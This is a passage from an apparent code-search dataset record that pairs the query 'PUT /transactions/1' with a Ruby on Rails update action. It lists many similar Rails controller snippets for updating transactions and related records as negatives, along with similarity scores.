@account.transactions.build(params[:transaction])\n @transaction.created_at = Time.now\n if @transaction.recur_id != nil\n @transaction.doc_number = nil\n @recurring = @account.recurrings.find(@transaction.recur_id)\n @transaction.description = @recurring.name\n if @recurring.transaction_type == 'Withdrawal'\n @transaction.wamount = @recurring.amount\n @transaction.damount = nil\n else\n @transaction.damount = @recurring.amount\n @transaction.wamount = nil\n end\n end\n respond_to do |format|\n if @transaction.save\n # do bucket allocation\n if @transaction.recur_id != nil\n @recurring.rbuckets.each do |r|\n @tbucket = Tbucket.new\n @tbucket.abucket_id = r.abucket_id\n @tbucket.transaction_id = @transaction.id\n if @recurring.transaction_type == 'Withdrawal'\n @tbucket.wamount = r.amount\n else\n @tbucket.damount = r.amount\n end\n @tbucket.save\n end\n end\n flash[:notice] = 'Transaction was successfully created.'\n format.html { redirect_to(account_transactions_path(@account)) }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def transaction_request_params\n params.require(:transaction_request).permit(:from_service_name, :request_type, :created_at, :user_email, :inc_id, :transaction_id, :amount, :action)\n end", "def transaction_params\n params.require(:transaction).permit(:user_id, :transaction, :portfolio_id, :holding_id, :date, \n :activity, :quantity, :symbol, :description, :price, :commission, :fees, :amount)\n end" ]
[ "0.68204755", "0.66878176", "0.6660433", "0.656415", "0.6548269", "0.6531916", "0.6283601", "0.62825763", "0.6271808", "0.6238136", "0.62264633", "0.6192456", "0.61809224", "0.6164703", "0.6140859", "0.6136344", "0.6128709", "0.6122263", "0.61222124", "0.6106335", "0.6064601", "0.6048882", "0.6048882", "0.6048882", "0.6048882", "0.6048882", "0.604702", "0.6031828", "0.6028368", "0.6020926", "0.6018855", "0.6007529", "0.60002154", "0.5998487", "0.59948105", "0.59892976", "0.59812", "0.5977069", "0.5966716", "0.5960056", "0.5950656", "0.5931793", "0.5925875", "0.5923698", "0.5910427", "0.59103674", "0.59015274", "0.58982545", "0.58814514", "0.5880105", "0.5868405", "0.58650774", "0.58537966", "0.5848617", "0.5848562", "0.584799", "0.58279836", "0.5817581", "0.58175117", "0.5816613", "0.5812192", "0.5812108", "0.5807948", "0.58077365", "0.5790761", "0.57863885", "0.5785347", "0.57830995", "0.5782823", "0.57822233", "0.577717", "0.5772568", "0.5768863", "0.5765946", "0.5765053", "0.5759083", "0.57578796", "0.5757601", "0.5751927", "0.57510126", "0.57495105", "0.5749463", "0.57456386", "0.57419074", "0.57373375", "0.57344943", "0.57335436", "0.57327425", "0.5731569", "0.5725907", "0.572147", "0.5712506", "0.57063", "0.5702815", "0.57015735", "0.5696212", "0.5691805", "0.56897235", "0.56886303", "0.56828564" ]
0.61193395
19
PUT /transactions/1 PUT /transactions/1.xml
def update @transaction = Transaction.find(params[:id]) respond_to do |format| if @transaction.update_attributes(params[:transaction]) flash[:notice] = 'Transaction was successfully updated.' format.html { redirect_to(transactions_url) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def putTransaction( entity_id, user_id, basket_total, basket, currency, notes)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n params['basket_total'] = basket_total\n params['basket'] = basket\n params['currency'] = currency\n params['notes'] = notes\n return doCurl(\"put\",\"/transaction\",params)\n end", "def updateTransaction(state, id)\n parameters={state: state}\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4050/transactions/\" + id.to_s , options) # put pending state\n return results\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction]) \n flash[:notice] = 'Transaction was successfully updated.'\n format.html { redirect_to(@transaction) }\n format.xml { head :ok }\n \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n @transaction.account.update_transactions\n format.html { redirect_to transactions_path, notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n flash[:notice] = 'Transaction was successfully updated.'\n format.html { redirect_to(@transaction) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @settlement = @transaction.settlements.find(params[:id])\n\n respond_to do |format|\n if @settlement.update_attributes(params[:settlement])\n format.html { redirect_to(client_transaction_settlement_path(@client, @transaction, @settlement), :notice => 'Settlement was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @settlement.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @tx = Tx.find(params[:id])\n\n respond_to do |format|\n if @tx.update_attributes(params[:tx])\n format.html { redirect_to(@tx, :notice => 'Tx was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tx.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n flash[:notice] = 'Transaction was successfully updated.'\n format.html { redirect_to(account_transactions_path(@account)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ofx_transaction = OfxTransaction.find(params[:id])\n\n if @ofx_transaction.update(ofx_transaction_params)\n head :no_content\n else\n render json: @ofx_transaction.errors, status: :unprocessable_entity\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to @transaction, notice: t(:transaction_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to @transaction, :notice => 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @transaction_goods_taxis = Transaction::Goods::Taxe.find(params[:id])\n\n respond_to do |format|\n if @transaction_goods_taxis.update_attributes(params[:transaction_goods_taxis])\n format.html { redirect_to(@transaction_goods_taxis, :notice => 'Taxe was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction_goods_taxis.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to home_url, notice: 'Transaction was updated.' }\n format.json { render json: @transaction, status: :updated, location: @transaction }\n else\n format.html { redirect_to session[:return_to], :flash => {errors: 'Error parsing transaction!'} }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @account_transaction = AccountTransaction.find(params[:id])\n\n respond_to do |format|\n if @account_transaction.update_attributes(params[:account_transaction])\n format.html { redirect_to(@account_transaction, :notice => 'Account transaction was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end", "def update\n @account_transaction = AccountTransaction.find(params[:id])\n\n respond_to do |format|\n if @account_transaction.update_attributes(params[:account_transaction])\n flash[:notice] = 'AccountTransaction was successfully updated.'\n format.html { redirect_to(@account_transaction) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @account_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n flash[:notice] = 'Transaction was successfully updated.'\n format.html { redirect_to(@transaction.account) }\n format.xml { head :ok }\n else\n @all_categories = Category.sorted_find_all current_user.default_workgroup\n @all_accounts = Account.find(:all)\n @transaction_types = TransactionType.find(:all)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_transaction\n @transaction = @account.transactions.find(params[:id])\n end", "def update\n if @transaction_request.update(transaction_request_params)\n render :show, status: :ok, location: @transaction_request\n else\n render json: @transaction_request.errors, status: :unprocessable_entity\n end\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transaction.stamp = Time.now\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_transaction\n @transaction = @transactions.find(params[:id])\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Txn was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @az_balance_transaction = AzBalanceTransaction.find(params[:id])\n\n respond_to do |format|\n if @az_balance_transaction.update_attributes(params[:az_balance_transaction])\n format.html { redirect_to(@az_balance_transaction, :notice => 'AzBalanceTransaction was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @az_balance_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to polymorphic_path([@source, :transactions]), notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cash_transaction = CashTransaction.find(params[:id])\n\n respond_to do |format|\n if @cash_transaction.update_attributes(params[:cash_transaction])\n format.html { redirect_to(@cash_transaction, :notice => 'Cash transaction was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cash_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #@transaction = Transaction.find(params[:id])\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @t1 = T1.find(params[:id])\n\n respond_to do |format|\n if @t1.update_attributes(params[:t1])\n flash[:notice] = 'T1 was successfully updated.'\n format.html { redirect_to(@t1) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @t1.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @item_transaction = ItemTransaction.find(params[:id])\n\n respond_to do |format|\n if @item_transaction.update_attributes(params[:item_transaction])\n format.html { redirect_to @item_transaction, notice: 'Item transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @shop_transaction = Shop::Transaction.find(params[:id])\n\n respond_to do |format|\n if @shop_transaction.update_attributes(params[:shop_transaction])\n format.html { redirect_to @shop_transaction, notice: 'Transaction was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to batch_path(@batch), notice: \"Transaction was successfully updated.\" }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n session[:operate_mode] = nil\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to(@transaction, :notice => t('global.operate_success')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @transaction_detail = TransactionDetail.find(params[:id])\n\n respond_to do |format|\n if @transaction_detail.update_attributes(params[:transaction_detail])\n flash[:notice] = 'TransactionDetail was successfully updated.'\n format.html { redirect_to transaction_detail_url(@transaction_detail) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction_detail.errors.to_xml }\n end\n end\n end", "def update\n @recent_transaction = RecentTransaction.find(params[:id])\n\n respond_to do |format|\n if @recent_transaction.update_attributes(params[:recent_transaction])\n format.html { redirect_to @recent_transaction, notice: 'Recent transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recent_transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def save\n\t\t@connection.transactions.save\n\tend", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html { redirect_to @transaction, notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n add_breadcrumb 'Edit Transaction'\n\n respond_to do |format|\n if @transaction.update(transaction_params)\n format.html do\n redirect_to @transaction,\n notice: 'Transaction was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit , status: :unprocessable_entity }\n format.json do\n render json: @transaction.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def update\n outcome = Transactions::Update.run({ id: params[:id] }, transaction_params)\n\n if outcome.success?\n render_success_response({ transaction: outcome.result })\n else\n render_unprocessable_entity(outcome.errors.symbolic)\n end\n end", "def update\n @transaction_type = TransactionType.find(params[:id])\n\n respond_to do |format|\n if @transaction_type.update_attributes(params[:transaction_type])\n flash[:notice] = 'TransactionType was successfully updated.'\n format.html { redirect_to(@transaction_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n cb = Coin.retrieve_from_api(transaction_params[\"CB_apikey\"])\n cs = Coin.retrieve_from_api(transaction_params[\"CS_apikey\"])\n\n respond_to do |format|\n if @transaction.update_values(transaction_params.merge(wallet_id: current_user.wallet.id, CBought_id: cb, CSold_id: cs))\n format.html { redirect_to @transaction, notice: \"Transaction was successfully updated.\" }\n format.json { render :show, status: :ok, location: @transaction }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @deposit = current_user.family.transactions.find(params[:id], :readonly => false)\n @deposit.user = current_user\n\n respond_to do |format|\n if @deposit.update_attributes(params[:deposit])\n flash[:notice] = 'Deposit was successfully updated.'\n format.html { redirect_to(@deposit) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @deposit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n params[:verification][:existing_transactions_attr] ||= {}\n \n @verification = Verification.find(params[:id])\n respond_to do |format|\n if @verification.update_attributes(params[:verification])\n flash[:notice] = 'Verification was successfully updated.'\n format.html { redirect_to(@verification) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @verification.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(invoice_number, invoice_sequence)\n #xml = order_update_template % { status: status.to_i }\n #put_request(t_url(:order, order_id), xml)\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def update_transaction\n finance_transaction.update(title: donor, description: description\\\n , amount: amount, transaction_date: transaction_date)\n end", "def update\n @transaction = Transaction.find(params[:id])\n\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to admin_transaction_path(@transaction), notice: 'Transaction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_transaction\n if params[:id].nil?\n @transaction = Transaction.find(params[:id])\n end\n end", "def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @transaction = Transaction.find(params[:id])\n @transaction.updatesd_by = @updated_by\n @transaction.user_id = @created_by\n respond_to do |format|\n if @transaction.update_attributes(params[:transaction])\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_txn\n @transaction = Txn.find(params[:id])\n end", "def update\n @transaction_term = TransactionTerm.find(params[:id])\n\n respond_to do |format|\n if @transaction_term.update_attributes(params[:transaction_term])\n format.html { redirect_to(@transaction_term, :notice => 'Transaction terms was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @transaction_term.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @contract = Contract.find(params[:id])\n\n respond_to do |format|\n if @contract.update_attributes(params[:contract])\n flash[:notice] = 'Contract was successfully updated.'\n format.html { redirect_to(@contract) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @contract.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end", "def set_transaction\n @transaction = Transaction.find(params[:id])\n end" ]
